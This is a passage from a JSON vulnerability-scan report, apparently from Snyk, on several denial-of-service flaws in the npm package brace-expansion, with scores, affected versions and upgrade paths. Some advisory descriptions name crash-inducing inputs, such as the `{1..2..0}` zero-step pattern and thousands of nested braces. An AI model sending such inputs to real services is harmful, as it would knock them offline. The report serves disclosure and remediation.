">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
